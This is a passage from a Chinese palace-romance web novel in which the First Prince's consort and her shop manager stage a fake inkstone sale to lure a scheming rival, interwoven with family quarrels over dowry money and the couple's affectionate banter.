姜黎婳无聊,就从她手中接过蒲扇自己扇风,“这天气越来越热了,真不知道什么时候夏天才过去。”
“不如咱们明日去溪边玩水吧。”铃铛杏眸睁得大大的,眼底闪烁着兴奋的光,“小姐...大皇子妃您以前在江南的时候,一到夏天不就爱去河边玩水游泳的吗?咱们明日找个僻静的溪边玩水去,如何?”
“你还当这里是江南呢?”姜黎婳嗔了铃铛一眼,“而且你小姐我如今也不是以前无忧无虑的小姑娘了,如今我身为大皇子妃,行为处事得为大皇子的名声着想。”
铃铛闻言失落的叹了口气,“那以后小姐岂不是都没有乐趣了。”
“你这丫头,人总是要长大的。”她何其有幸,能活两世,拥有两个无忧无虑的童年,如今该长大了。
回府就去梨月居找姜黎婳的楚御礼听到凉亭中传来的对话,他眉头动了动,想到当年自己见到她的那个场景,眼底闪过一丝暗色,他抬步朝凉亭走去。
姜黎婳看到楚御礼回来,她笑着站起来迎了上去,“今日很忙?”
“明日再见几个人,想来就能把太医院事情处理完了。”楚御礼拉着姜黎婳的手往回走,“今日去了永宁伯府?”
“嗯,外祖母把砚台给我了。”姜黎婳抬眸看了楚御礼一眼,嘴角牵起一抹浅浅的弧度,“我听说了殿下今日的丰功伟绩!干得不错!”
说着还朝楚御礼竖起大拇指,“殿下的聪明才智,实在是令小女子敬佩。”
“油嘴滑舌。”虽然是这样说,但楚御礼很受用,嘴角的笑意都压不住了,身上哪儿还有一点先前在几个太医面前的戾气。
“我说的都是真的。”姜黎婳冲楚御礼俏皮的眨了眨眼睛,“我想过殿下会在大殿上与苏建明对峙,但是真没想过您会装柔弱。”她露出一副高深莫测的神情,摇头晃脑的说:“让皇上心生内疚,不费一兵一卒就让苏建明被处罚,高!实在是高!”
“娘子谬赞了。”楚御礼扬了扬眉梢,配合着她先前的语气,“为夫一介病弱皇子,若连父皇的怜爱都得不到一分的话,岂不是太失败了?”
姜黎婳瞧着配合自己,还把自己的病弱说得那么理直气壮的楚御礼,笑着摇头,“殿下不是得到了吗?所以不失败,你成功了,很厉害。”
“但是...”楚御礼看着她,拖着尾音。
“嗯?”
两人跨进院落,楚御礼停下脚步,旁若无人的盯着姜黎婳,“比起父皇的怜爱,为夫更想要娘子你的怜爱。”他牵起姜黎婳的手,放在唇边轻轻地亲了亲,“娘子,为夫能得到你的怜爱吗?”
知夏:“.......”
铃铛:“.......”
我们是真的不想当狗啊!
这猝不及防的狗粮!
真是吃饱了!
难怪小姐以前看到有男女走在街上同行,就拉着她们两人跑,说不想吃狗粮呢。
他们当时还不懂什么叫吃狗粮...
现在懂了!
原来这就是吃狗粮的感觉!
姜黎婳被楚御礼这忽来地话弄得耳根一红,她抬眸与他对视,低声问,“殿下,你受刺激了?”
楚御礼:“......”
他神伤的看着姜黎婳,声音委屈,“娘子病弱的夫君今日在外忙碌了一整日,竟然得不到娘子半点怜惜吗?”
这是在朝她撒娇吗?
“哎哟,我们殿下今日受苦了,快进屋。”姜黎婳赶紧配合他的撒娇,吩咐知夏和铃铛两人去给楚御礼准备晚膳,又对楚御礼说:“殿下先去洗漱,用了晚膳,我再好好的怜惜殿下。”
听她这么说,楚御礼立刻想到了新婚夜那旖旎的画面,他面红耳赤,声音有点害羞,但更多的是迫不及待,他捏着她的手用拇指轻轻的揉着她的手背,低声道:“其实为夫在外用了一些点心的,直接洗漱了就行,不用再吃晚膳。”
“不行,必须用晚膳。”姜黎婳坚持。
楚御礼飞快的洗了澡换好衣裳,然后出来战斗一样解决了晚膳,还特意去盥洗室再漱了口,接着飞快的跑回寝居。
什么?
娘子对那件事情的抗拒?
娘子都主动了,他怎么能拒绝!
大不了温柔点,让娘子尽量接受自己,不那么抗拒,这种事情,他觉得其实可以慢慢来的。
他飞快的脱了衣裳,坐到床上,笑看着脱了外衫只穿着交叉领白色亵衣的姜黎婳,“娘子?”
拿过针包转身的姜黎婳瞧他衣裳都脱了,笑着道:“殿下躺着吧,我给你施针。”
楚御礼看着手拿针包的姜黎婳,“......”
就这?
他认命的躺下,意味不明地说了一句,“其实时辰不早了,我们不如早些歇息。”
“那也不能落下,早点把殿下体内的毒逼出来,我也早一点安心。”姜黎婳坐着在他身边坐下,认真地在他身上的穴位上下针。
楚御礼看着近在咫尺的娘子,无声地叹了口气,认命地闭上眼睛。
忍吧。
自己的爽快其实也不急于这一时。
......
时间一晃十日时间过去了。
经过这十天的时间,苏家的事情已经没多少人谈论了。
吕氏在这天知道了母亲胡氏把那贵重的砚台送给了姜黎婳,在永宁伯府大闹了一场,嚷着要和胡氏断绝关系。
胡氏瞧着疯魔的女儿,心痛地捂着胸口,怒声骂道:“好,那就写断亲书!从此你吕月琴再也不是我胡思维的女儿了!”
吕氏说断绝关系只是发泄自己的情绪表达自己的不满,想逼着母亲把砚台要回来给自己,她自然不敢真的和永宁伯府断绝关系的,此时听到母亲要和自己写断亲书,当即急了,她红着双眼看着胡氏,嘶声问道:“为什么?一个是我的亲骨肉,一个是我的亲生母亲,为什么你们两个都见不得我好!是不是我死了,母亲你就满意了?”
胡氏在女儿说出断绝关系那一刻仿佛老了十岁,但她也知道女儿无可救药了,说出写断亲书后,她的情绪反而冷静了下来,此时听到胡氏的质问,她没有回答,而是问,“月琴,你的嫁妆如今还剩多少?”
吕氏张了张嘴,好半晌都不知道该如何回答胡氏。
苏建明这些年在官场虽然有永宁伯府在后帮衬,但始终需要打点,苏家本就是贫民出生,没有积蓄,这些年无论何事用的都是她的嫁妆。
她嫁妆的现银早就用完了,中途甚至还当了不少值钱的东西,如今用的是当初的嫁妆铺子的营收。
前些日子苏府被砸,那些之前购置的瓷器都被砸了,重新搬家买家用,几乎把今年的营收给花的差不多了,如今手上就还剩三千两银子,那还是接下来苏府的所有开支。
她也是实在没有办法了,才又来找母亲开口要砚台的。
见吕氏不说话,胡氏冷笑,“为了一个男人搬空自己,有你后悔的时候。”
第43章 真真是母女情深
吕氏听到胡氏这话像是被戳到了心底的痛处一样,她双目猩红的看向脸色沉沉的胡氏,厉声质问,“为什么你和那个孽种都觉得我会后悔?我想让我的夫君飞黄腾达,想要我的儿子出人头地,这有什么错?我不会后悔!绝对不会!”
胡氏瞧着吕氏疯魔的模样,她深深地吸了口气,叹道:“月琴,你说你不会后悔,那为娘问你,你这些年对苏家付出这么多,他们苏家人可曾对你有一丝感恩?”
吕氏愣住了。
她双手死死的揪着手中的绣花帕子,久久不能回神。
感恩?
她脑海中闪过过去的种种,疼爱的女儿时常因为得不到想要的东西就会露出埋怨的眼神,但若满足了她,小女儿就会抱着她说娘亲最好了。
两个儿子也是,若能什么都随了他们的心意,那两个儿子对她也是孝顺恭敬的。
但若不能事事都随他们的心意,他们则会给自己甩脸子。
婆母呢...
每次送首饰和银钱过去给她的时候,她才会和颜悦色,不然就说自己命苦,儿子找了个大小姐,瞧不起她那个贫农出生的婆母...
丈夫?
想到这些日子丈夫给自己甩的脸色,吕氏双手抱着头,她恼怒的抬眸瞪着胡氏,“我如今被他们埋怨,还不都是母亲你和姜黎婳一手造成的!你当初为什么偏要逼着我去找她!她不回来,我们家中就不会变成这样!”
“姑姑!”
“小妹!”
孟雪莲和吕静雅几乎异口同声的喊吕氏。
吕氏双手捂着脸蹲在地上痛哭,“我说错了吗?”
“你简直走火入魔了!”胡氏被吕氏气的直捂着胸口,她身后的嬷嬷赶紧上来给她拍背顺气,胡氏呼吸急促了好一会儿之后才缓过气来,她指着蹲在地上的吕氏,厉声道:“婳儿是你的亲骨肉!骨肉亲情怎么能割舍?你是什么时候变得这么冷血无情的?从小到大我就是这么教你的?”
“那我能怎么办?”吕氏依旧捂着脸,声音呜咽,“她回来,就会跟清欢抢本该属于清欢的东西...”
“混账!”胡氏起身疾步走过去一巴掌打在吕氏头顶,震怒,“若不是因为那个鸠占鹊巢的东西,那些东西和你的关爱,原本都属于婳儿的!你这个糊涂东西,今天我就把你给打清醒了!”
说完就开始动手往吕氏身上招呼。
“婆母!”孟雪莲害怕胡氏被气出个好歹来,赶紧上前拉着胡氏推开,“您消消气,别把自己身子给气坏了啊。”
“老夫人,您也心疼心疼夫人啊。”刘嬷嬷也上前护着吕氏,“夫人对大小姐付出了十几年的心血,怎么能说割舍就割舍的啊?”
吕静雅也赶紧上前拦在两人中间,她瞧着头发被抓乱的吕氏,不觉得痛快,也没有可怜吕氏,她只觉得吕氏这是咎由自取,还有...
吕静雅想到表姐眼睛都不眨一下的给自己买下价值八千两的绿宝石黄金头面,她对着吕氏说了句,“姑母,表姐真的稀罕你们苏家那点家产吗?”
.......
两日后。
苏清欢趁着萧景宴出城办事,她也跟着出门了,她到了一家茶铺让车夫在茶铺等着自己,自己去逛逛,把车夫留在茶铺后,她带着婢女雪儿去偏僻的车行租了一辆马车,去了城南梧桐巷。
邹如意见女儿上门,欢天喜地的把女儿迎进门,“不知道你要过来,早知道你要过来的话,就该让人给你准备一些你最喜欢的凉糕了。”
苏清欢笑了笑,亲昵的挽着邹如意进了屋子,邹如意笑着让人准备饭菜,苏清欢拒绝了,“我就过来陪娘说说话,一会儿还得回国公府。”
说起国公府,邹如意脸上的笑意淡了几分,她拉着苏清欢道,“乖女儿,你怎么如此糊涂,放着嫡亲皇子不嫁,反而选了一个名声不好的纨绔。”
苏清欢听邹如意提起皇子就想到楚御礼对自己和姜黎婳的区别对待,当即脸色沉了下去,她松开邹如意的手,冷声道:“皇子?那也不过是一个短命鬼,若皇家不仁,说不定还会跟着殉葬,亦或者被打发到皇陵守陵,但嫁给世子就不一样了,将来世子即位就是国公,而我就是一等国公夫人,不比丧夫的皇子妃好?”
再说了,在皇室有意让苏家女儿冲喜之前,其实国公府和苏府就在议亲了。
她原本就应该是世子的世子夫人。
上一世她一时鬼迷了心窍选择了大皇子,让姜黎婳以苏家侄女的身份嫁给了世子。
当时她以为姜黎婳代替自己这个苏家小姐嫁给世子,会被嫌弃,谁知道,世子不但不嫌弃,还陪她回门,甚至说姜黎婳亲人不在身边,他会加倍对姜黎婳好。
重来一世,她绝对不会再选错。
邹如意从未在女儿身上看到如此恐怖的表情,她被苏清欢的表情吓得缩了缩脖子,轻声道:“是娘亲想得太短浅了,没有你有远见,看来还是得像你们一样多读书,才能更有远见。”
苏清欢看着邹如意这副小家子模样,心头着实觉得碍眼,若不是她是自己的亲生母亲,而苏建明那个亲生父亲对她这亲生母亲的确有些真心实意,她是从心底瞧不上这个大字不识几个的亲生母亲的。
真是,哪儿哪儿都比不上吕氏。
吕氏,对她不错,也拿得出手。
但...
毕竟不是自己亲生母亲。
苏清欢收起心底对邹氏的轻视,拿出一个盒子,轻笑着道:“我知道娘亲你是在担忧女儿,但女儿知道什么选择对女儿来说才是最好的,这是前些日子我为母亲选的金项链,母亲瞧瞧,你是否喜欢?”
邹氏瞧着金项链立刻把先前的小心翼翼抛开了,她欣喜若狂的拿起金项链,笑着道:“还是我的好女儿贴心,知道送娘的礼物,不像你哥哥,整日就知道读书。”
提起苏子恒,苏清欢眉头皱了皱,她在苏建明那里已经听说了,前两日吕氏去永宁伯府,因为胡氏那个老太婆把端砚送给了姜黎婳,吕氏在永宁伯府大闹了一场。
如今永宁伯府的端砚是拿不到了,自己也暂时接触不到姜黎婳,只能从其他地方想办法找端砚了。
“时辰不早了,我先走了。”苏清欢站起身。
邹氏连忙收起金项链,不舍的看着苏清欢,“怎么刚来就要走啊?”
“哥哥不是想与太傅攀上关系吗?”苏清欢高高在上的看了邹氏一眼,接着道:“如今吕氏那边指望不上了,我得回去想想办法。”
听到女儿是对自己的儿子如此上心,邹氏直接忽略了苏清欢的态度,对着苏清欢讨好的笑了笑,“我的乖女儿,你哥哥知道你如此为他着想,以后高中,定然会好好报答你的。”
“他是我的亲哥哥,咱们都是一家人,相互帮衬是应该的。”苏清欢脸上这才露出笑容。
邹氏高高兴兴地把苏清欢迎进门,又兴高采烈地亲自把人送出院子。
第44章 苏清欢得知端砚下落
从院子中出来,跟着苏清欢的雪儿就压低声音问她,“夫人,咱们上哪儿去找端砚啊?”
如今端砚可遇不可求,就连她一个小婢女都知道,一台端砚有多难求,夫人能上哪儿去找?
难道去找世子帮忙?
世子能帮忙吗?
自从回门那日,世子在苏府门外被大皇子的侍卫打了两巴掌之后,就很抗拒与苏家的人扯上关系。
她这个当婢女的都能看得出来,夫人不可能看不出来吧?
苏清欢睨了雪儿一眼,抬步上了马车。
她自然知道端砚难寻,但不找个借口,怎么离开?
她是看到邹如意那谄媚的模样就觉得心烦。
“想想办法吧,办法是人想出来的。”苏清欢想起上一世苏子恒乡试并未考上贡士,苏承印倒是考上了,甚至排名在前十,来年的会试也在二十名之内,后来在翰林院当了个编修,听说后来还升了官。
若是无法把希望寄托在苏子恒身上的话,她以后就要和苏承印打好关系了,如今她虽然嫁给了萧景宴,但她知道只有娘家地位高了,她在国公府的地位才能水涨船高。
她可不想再被国公府那老太婆明嘲暗讽了!
正想着,两个争吵的声音打断了她的思路...
“诶!你这人怎么这样!不是答应了五万两卖给我的吗?你怎么能坐地起价!五万五千两!你怎么不去抢!”
“这可是端砚!如今端砚有价无市,你不愿意买,有的是人买!不买就走开,别挡了我的发财路!”
马车因为两人在巷子中的路上停顿吵起来拦了去路。
车夫要呵斥两人让路,车帘却忽然被掀开了,苏清欢制止了车夫的动作,目光朝前面穿着华贵的两个大男人看去。
微胖发福的男人转身要走,另一个身着紫色锦服的男人拦住他去路,像是妥协了一样,放缓声音道:“袁老爷,我当然知道端砚难得,但五万五千两实在是难为人了,我好不容易才凑齐五万两的,这要是让我娘知道,我为了这砚台花了五万两,我回去少不得得挨一顿揍的。”
“这端砚可是我从南越国废了废了九牛二虎之力才弄回来的!中间要躲开南越国那些盘查,你知道多难吗?”胖男人拍了拍自己的腰带,一脸的得意,“如今在咱们京城,这端砚就只有两台,一台在当今皇上手里,另一台则在永宁伯府!你不愿意花五万五千两买这砚台,多的是人花大价钱从我这里买去。”
身穿紫色锦服的男人连忙道,“我知道,我知道,我这不就是想买你这砚台去送给太傅,当个拜师礼吗?这眼看就要秋闱了,若能拜在太傅门下...”
他朝着皇宫的地方拱了拱拳接着道,“那我也就和皇上师出同门了,到时候秋闱,考官不得看在太傅的面上,也给行个方便?”
胖男人扬着下巴,挑眉,“那你这是决定买了?”
紫色锦服男人连忙道:“买买买,定金我都给你了,怎么能不买呢!但你得宽限我两日,我还得再去凑五千两。”
“好...”胖男人点头,转身往外走,紫色锦服男人也抬步跟了上去。
“等一下。”两人没走几步,苏清欢就连忙喊住对方。
两人回头看了苏清欢一眼,见是一个年轻妇人,两人皱了皱眉头,袁老爷挑眉,“怎么?”
“刚刚两位聊的是端砚?”苏清欢轻笑着问。
紫色锦服的男人听苏清欢这么问,当即防备的皱起眉头,生怕苏清欢跟自己抢一样,厉声道,“关你屁事!”
说罢讨好的对胖男人道,“袁老爷,咱们快走吧,别和一个妇道人家多说,走,先去你那儿,让我看看那东西,先让我一饱眼福。”
“唐公子,这么着急做什么,你先把银子凑齐再说吧,但你记得若凑不齐的话,那定金不退,我把砚台转卖他人,也不用赔理你违约金了。”袁老爷也没有理会苏清欢,和唐公子有说有笑地往外走。
苏清欢见两人不愿意理会自己,心头更加确信了那个袁老爷手中有端砚,她心头当即下了决定,她沉声道:“袁老爷,你手中的端砚,我愿意出五万六千两的银子买。”
袁老爷闻言停下脚步看了苏清欢一眼,眼里闪过一丝犹豫,唐公子见状立刻急了,他怒瞪苏清欢,骂道:“哪儿来的小妇人,你知道端砚是什么东西吗?就在这里大言不惭!”
说完又对袁老爷道,“袁兄!袁老爷!你可是答应了我的,咱们都说好了,你要卖给我的,况且我刚刚也答应了给你五万五千两银子了,以咱们两人的交情,你不能答应那个女人啊!”
说到这里还不忘瞪苏清欢一眼。
袁老爷笑了笑,眼里有一丝犹豫,他对着唐公子道,“一千两银子啊,不是一百两。”
唐公子眼睛一瞪,拽着袁老爷往巷子外面拖,“我和她出一样的价格,你别听那个女人的!走走走,别在这里多呆了。”
生怕多待一刻,自己买端砚的事情就被那个女人给搅和了一样。
苏清欢瞧着唐公子那副防着自己的模样,忍不住抬步往前走了几步,接着她就听到袁老爷说,“你自己说的,五万六千两,可不能反悔!”
“不反悔!绝不反悔!”唐公子说着脚下步子加快了,语气也更急切了,“你给我两天时间凑钱,两天后我来你家中拿东西,顺便把银票送上!”
袁老爷笑着答应了,两人在巷子口分道扬镳。
苏清欢坐会马车,吩咐车夫跟上袁老爷。
袁老爷在一家宽大的宅院前停下脚步,竟然是梧桐巷头旁边最大的那户院子,她抬头看了一眼宅院的匾额,袁宅,很大气,很气派。
南城鱼龙混杂,但多数都是有钱人,不像东城那边很是萧条,在南城能住上这么宽大宅院的人,得有些家底才行。
一般京官在京城买住房都是买巷子中间的小院,绝对不会买巷头巷尾的大宅院,因为买不起。
就她爹苏建明,之前虽然当上了二品尚书,在南城也只能给她娘买这么一个小院子。
想到这里,苏清欢心头对袁老爷他们口中那方砚台更热切了,她几乎是下意识地喊雪儿去敲门。
大门很快被家丁打开,家丁从里面冒出头打量了雪儿一眼,蹙眉问,“有事?”
雪儿笑着颔首,“我们找袁老爷。”
“找我们老爷?”家丁皱了皱眉头,“我们老爷出门了,不在,快走吧。”
说完就要关门。
苏清欢从马车上下来,对着家丁笑道:“请转告贵府主人,定国公府世子夫人求见。”
家丁一听瞪大眼睛看了苏清欢一眼,苏清欢挺直腰背,任由对方打量,家丁看了半晌,对她道:“请您稍等一下。”
片刻之后家丁恭恭敬敬地把苏清欢迎进大门,把人迎进前厅后,他笑着道:“请您稍等,我们老爷稍后就到。”
说罢吩咐婢女给苏清欢上茶。
家丁离开后,苏清欢开始打量富丽堂皇的前厅,她扫了一眼婢女身上的绫罗绸缎和戴着的金首饰,心头暗衬,这袁老爷还真不是一般有钱。
第45章 佟掌柜的三观崩塌了
后院。
佟掌柜打量着气派的宅院,心头再次对姜黎婳那个小东家升起了佩服之意,短短数日时间内,她不仅搞定了宅院,甚至连宅院中的布置都弄得丝毫看不出破绽。
那些婢女身上的穿戴让他这个当掌柜的看了都羡慕。
哪个好人家中婢女都穿金戴银啊!
先前被喊袁老爷的那人此时正笑眯眯的站在佟掌柜面前,他笑着对佟掌柜道:“鱼儿上钩了,接下来如何要价?”
佟掌柜眼睛一眯,他提出建议说要一个宅院当戏台子,东家立刻就把戏台子给搭起来了,若他的戏没唱好,岂不是辜负了小东家,他当即道,“她给到六万两之前,一律拒绝。”
“她不买了怎么办?”袁老爷可真没想过一方砚台能卖出六万两的天价来啊。
佟掌柜看了袁老爷一眼,沉声道:“那就不是你该操心的事情了。”
苏清欢在前厅等了好一会儿,茶都喝了两口了,袁老爷才姗姗来迟,在看到苏清欢那一刻,袁老爷先是一怔,接着笑着拱手,“原来夫人竟是国公府的世子夫人,先前失礼,还请夫人莫怪。”
苏清欢半点没从对方眼里看出惶恐,她当即笑着道,“不知者不怪,袁老爷不必多礼,其实我贸然登门,还是为了那方砚台,我希望袁老爷能割爱把砚台卖给我。”
袁老爷面露难色,接着笑着走到主座上坐下,端着婢女上的茶慢悠悠的喝了一口,他才看向苏清欢,笑着道:“咱们生意人,讲的是诚信,五万六千两,我已经答应卖给唐公子了,唐公子也去凑钱了,还请夫人不要为难在下。”
苏清欢微微皱起眉头,“若我猜得没错的话,那唐公子想借着砚台鱼跃龙门。”她深深地看向袁老爷,语气沉了沉,“他这跃龙门不一定能成功,袁老爷与其把砚台卖给他,不如给我们国公府卖个好。”
她说到这里语气多了一丝高高在上,“袁老爷应该清楚利弊的。”
“哈哈。”袁老爷哈哈笑出声,“不愧是世子夫人,说出的话就是这么有底气。”
说着他脸色一变,眼里多了一丝冷意,“但我袁半山能在楚国和南越国之间做生意,也不是无依无靠的,若夫人想用威逼利诱的办法让我袁某把砚台卖给你的话,那夫人就请回吧。”
见袁老爷不吃硬的,苏清欢当即放软了语气,笑着道:“袁老爷误会了,我也只是想和袁老爷交个朋友,哪儿能是威逼利诱呢。”说着她笑了笑,轻声道:“这样吧,我也不让袁老爷您为难,我再加一千两银子,五万七千两银子,买您手中的端砚,您觉得如何?”
袁老爷只觉得这些人疯了。
一个人觉得六万两能把砚台卖出去,而另一个人竟然还真的愿意出五万多两银子把端砚买回去。
他当年跟着佟掌柜在南越国和楚国两地跑,知道当年端砚虽然贵重,但也最多千把两银子就能买到一台上好的端砚,如今这端砚竟然被炒到了如此高的价格,还真有人发疯了想要买!
苏清欢见袁老爷眉头紧皱,她抿了抿嘴,狠心道,“五万八千两,不能再多了,若袁老板同意的话,两日后,我就派人交易。”
袁老爷叹了口气,“不是我不卖给你,是我先前答应了人家,也和人签订了契约,若是毁约得赔人两千两白银呢,世子夫人您也就别为难我了。”
袁老爷说着还很不舍的叹了口气,接着他扬声喊来院中立着的小厮送客。
小厮上前恭敬的请苏清欢出门,一边低声对袁老爷道,“老爷,您可以要价六万两呀,这样您赔唐公子两千两,还有五万八千两,不也还赚吗?”
袁老爷立刻厉声呵斥,“有你插嘴的份儿,给爷滚远点!”
苏清欢把主仆两人的话听了进去,她眼睛眯了眯,想着反正最终这笔钱也不是她出,当即道:“六万两就六万两,但是我得先看一看砚台。”
袁老爷一顿,他看向苏清欢,皱着眉头问,“世子夫人花这么大的价钱买一方砚台回去,不用和家人商量一下吗?”
“先给我看砚台,确定了是端砚,那我就回去让人备银子,两日后来交易。”苏清欢沉声道。
袁老爷犹豫了片刻,小厮立刻冒着被骂的风险道,“老爷,人家夫人都愿意出六万两银子了,有银子咱们还有不赚的道理吗?”
“滚。”袁老爷踢了小厮一脚,骂道:“去把老爷我买回来的端砚给也请出来,让夫人瞧瞧。”
小厮立刻兴高采烈的去了。
苏清欢是很小的时候在永宁伯书房里面见过那台端砚了,她记得那砚台被老永宁伯放在书架的最上方摆着,可看重了。
如今看着与那方砚台别无一二的砚台,她当下觉得,这就是端砚。
想着自己找到这端砚的下落,不仅会让吕氏那个蠢女人对自己感恩戴德,苏承印也会更感激她看重她,而苏子恒将来也必定会感谢自己,苏建明更不用说了,这件事就是一箭四雕的好事!
她当即道:“好,六万两,这方砚台袁老爷你给我留住,我这就回去让人准备银票。”
......
皇后回宫了。
回来就让人把姜黎婳叫进了宫,外人传言,是皇后因为在行宫大皇子吐血的事情,这是把大皇子妃叫到宫中训诫呢。
姜黎婳从宫中回府,张嬷嬷立刻上前来报说有人来府上找她,如今楚御礼正在帮她会客。
姜黎婳眉梢微动,表示自己知道了。
她抬步朝会客的前厅走去,坐在主座上的楚御礼瞧她款款走来,笑着站了起来,脚步也忍不住朝她迎了上去,瞧见她额头上的细汗,他抬手用袖子给她擦了擦,柔声道:“娘子辛苦了,这么热的天还让你宫里宫外的奔波。”
“没事,只是路上有些热。”姜黎婳看向在红木椅上正襟危坐的佟掌柜,“佟掌柜怎么忽然上门了。”
佟掌柜笑了笑,正要说话,楚御礼拉着姜黎婳的手就往主座那边走,一边吃味的说道:“若今日不是佟掌柜上门,为夫都不知道娘子竟然那般有钱。”
“难道我没说我爹是江南首富?”姜黎婳嗔了他一眼,低声道:“我与佟掌柜有正事要说,殿下先别闹。”
楚御礼委屈,娘子竟然觉得他在闹?
他眼底露出受伤的神色,“虽然心知岳父是江南首富,但为夫并不知道娘子竟然是墨宝斋的东家啊。”
佟掌柜:“......”
呵呵,他虽然知道自己的东家是皇子妃。
也知道皇子妃的养父有钱。
但也不知道皇子妃她养父是江南首富啊!
江南首富在那吕夫人眼里竟然是小商户?
三观崩塌了怎么办!
第46章 夫人,你这是在怪我吗?
佟掌柜知道自己贸然来皇子府的正事是什么,在楚御礼缠着姜黎婳的间隙说了今日苏清欢已经上钩的事情。
姜黎婳的手被楚御礼捏在手中玩,她无奈的看了一眼在外人面前还这么腻歪的楚御礼,然后正色看向佟掌柜,“让人注意着苏府这两日的动向,一有消息就让人告诉我。”
佟掌柜连连应是,然后起身恭敬告退。
等人走远了,姜黎婳才强硬的从楚御礼手中抽回自己的手,眼神无语的看着他,“殿下今日无事?”
“处理好了。”因为姜黎婳把手从自己手中抽回去,楚御礼的眼神变得幽怨,“娘子你嫌弃为夫了吗?”
姜黎婳无奈的叹了口气,“在外人面前,殿下你得收敛一点。”
“我还不够收敛吗?”楚御礼一把拽住姜黎婳的手腕把人拉到自己腿上坐下,双手抱住她的腰肢,下巴抵在她的肩窝处闻着她身上淡淡的馨香,语气低缓,“若不收敛,刚刚为夫就直接这样做了。”
其实还有更不收敛的,但那件事情...
楚御礼的眼神逐渐变得幽暗下来,他觉得娘子对那件事情的抗拒,可能是实践少了,他应该让娘子在实践中慢慢爱上那件事情。
姜黎婳感觉抱着自己腰肢的手开始不安分了,她一把挣脱楚御礼的手,猛地站起来,咳嗽道:“大夏天的,抱在一起殿下也不嫌热。”
说这话的时候,她有点心虚的。
其实她就怕楚御礼大白天的兽性大发。
楚御礼瞧出了她眼底的心虚,他无奈的叹了口气,转了话题,“母后找你入宫为了什么事情?”
姜黎婳:“......”
你敢相信,之前还让他们要节制的皇后,回宫第一件事就是找她进宫催生?
姜黎婳呵呵干笑了两声,对楚御礼道:“母后就是关心殿下您的身体情况,所以才找我进宫问问的。”
“那为夫如今的身体情况如何了?”
姜黎婳扬眉,“有我姜神医在,殿下体内的毒,自然快要排完了。”
......
吕氏和苏承印母子两人从马车上失落的走下来,苏承印脸色很不好,甚至下了马车之后,根本不顾身后的吕氏,自己率先进了府。
刘嬷嬷看着苏承印丢下吕氏扬长而去的模样,眉头皱了皱,忍不住低声对着吕氏抱怨,“大少爷怎么能这样对您甩脸子?这两日夫人您为了能敲开上官先生的家门,也是想尽了办法,上官先生不见客,咱们又有什么办法?”
吕氏想着这两日他们母子两人去拜访上官先生,但门房每次打开小窗一看到人就说上官先生不会客,每次都没有其他借口,一句话就把他们给打发了。
说实话,不只是苏承印,就连她都觉得没有希望。
“连这两日咱们连上官先生家中的仆从都没见过,也不怪承儿脸色差。”吕氏叹了口气,但是想到自己在母亲面前放的狠话,吕氏又道:“明日咱们再去一趟。”
说罢抬步往府中走去。
刘嬷嬷瞧着吕氏锲而不舍的模样,忍不住低声劝道:“夫人,要不您去找一下大皇子妃吧?您是她母亲,您问...”
“别给我提她!”吕氏厉声打断刘嬷嬷的话,“我就是跑断腿,也不会去求那个逆子的!”
刘嬷嬷听吕氏这么说,忍不住叹了口气,“夫人您何必与大皇子妃把关系闹得那么僵呢,她不管怎么说与您也是血脉相连的亲人啊。”
吕氏如今听到姜黎婳的名字就下意识的想到姜黎婳嘲讽的表情和被砸的稀巴烂的苏府,还有那句不愿意从她肚子里爬出来那句话。
“你不要再提那个逆子,从今以后我吕月琴与她再无关系!”吕氏加快脚步往府中走。
刚过了前院就听到院中传来欢笑声,苏家已经十几日没有这种欢笑声了。
吕氏下意识的加快脚步朝前厅走去。
看到厅中坐着的人儿,她脸上一喜,抬步走了过去,“欢儿回来了。”
“母亲。”苏清欢笑着起身朝吕氏走了过来,她细心的拿出手帕给吕氏擦汗,“瞧您满头都是汗,快进来,欢儿已经把茶给您凉好了。”
“还是咱们的欢儿贴心。”坐在主座上的老夫人邹氏凉凉的看了吕氏一眼,“这不比你那冷心肠的亲女儿好多了?”
吕氏没有说话,而是拉着苏清欢的手,轻声道:“欢儿,你何时回来的?”
“我也刚到没一会儿,今日去南城逛了一圈。”苏清欢说着当着苏家所有人的面把自己今日在南城打听到端砚的事情又给说了一遍。
虽然先前已经听过了,但现在听到苏清欢说起京城还有一台端砚,且可以买得到,苏承印就觉得一阵心热。
苏建明也在苏清欢说完端砚的事情之后看向吕氏,想看看吕氏的反应。
吕氏的确有了反应,不过不是激动,而是犹豫。
六万两。
如今她还有三处旺铺,每处旺铺的收益一年有四千多两,一个月有三百八十两左右。
这些铺子虽然比不得那些有钱商贾做的生意营收高,但也比丈夫的月奉高了数十倍。
但如今要她拿出这么多银两,她得卖掉两个铺子。
若卖掉这两个铺子,那以后家中开支又要缩减。
吕氏一下子被愁住了,她为难的笑了笑,“六万两啊,这端砚竟然这么贵吗?”
“端砚乃南越国产,如今楚国和南越国势同水火,文人大儒又视端砚为众砚之首,能炒到如今这个价格并不意外。”苏建明蹙眉看着吕氏,“怎么?你拿不出来这么多银子?”
“唉。”吕氏叹了一口气,只得把这些年的开支,还有如今他们家中的情形说了一遍,“如今妾身手上也只有三千两现银,若真的要凑齐六万两银子的话,得卖掉两处铺子,若卖掉两处铺子的话,以后咱们家的收入少了,那开支可能就要缩减了。”
“你是如何管家的?”苏建明责怪的看了吕氏一眼,“为夫为官这些年,俸银你都没能存点下来吗?”
吕氏张了张嘴,好半晌了才道:“老爷您的俸禄从未让妾身保管过,向来都是自己应酬用了,平日您宴请同僚与上官还要从妾身这里支取一大笔,每月也是数百两银子。”
苏建明脸色当即沉了下去,“你现在是在责怪为夫了?”他说到这里嗤笑了一声,失望的看着吕氏,“原来你在心底一直看不起我,是吧?”
“哎哟,我这个苦命的老婆子哦,活了几十年,老了老了,还被媳妇儿给埋怨上了。”邹氏害怕吕氏跟自己要银子,也跟着抹眼泪哭丧,“那些金银又不是我老婆子问你要的,是你自己给的,怎么现在还怪上我们了?”
苏清欢也面露难色,她张了张嘴,看向吕氏,眼神有些幽怨,“娘,欢儿今日是不是不该回来?”
第47章 葵花籽转世的大皇子
苏承印和苏继业兄弟两人对视了一眼,接着抬头看向逼问吕氏的其他三人,两人心头总感觉有些不对劲,但却不知道该说什么。
苏继业看着面色讪讪地母亲,他皱着眉头站起来,沉声道:“以大哥的能力,不拜师也不过是拿不到解元而已,但是进入会试是绝对没问题的,我觉得没必要为了一方砚台,让咱们家捉襟见肘。”
苏承印虽然面色不好,但想到为了一方不确定是否能帮自己敲开上官家门的砚台,就把家里搞得家徒四壁,他心都还是有点不愿。
“我也觉得没必要。”苏承印站起来,对着吕氏道:“母亲,不用卖铺子,明日我便回国子监读书,咱们也不用去上官先生府上拜师了。”
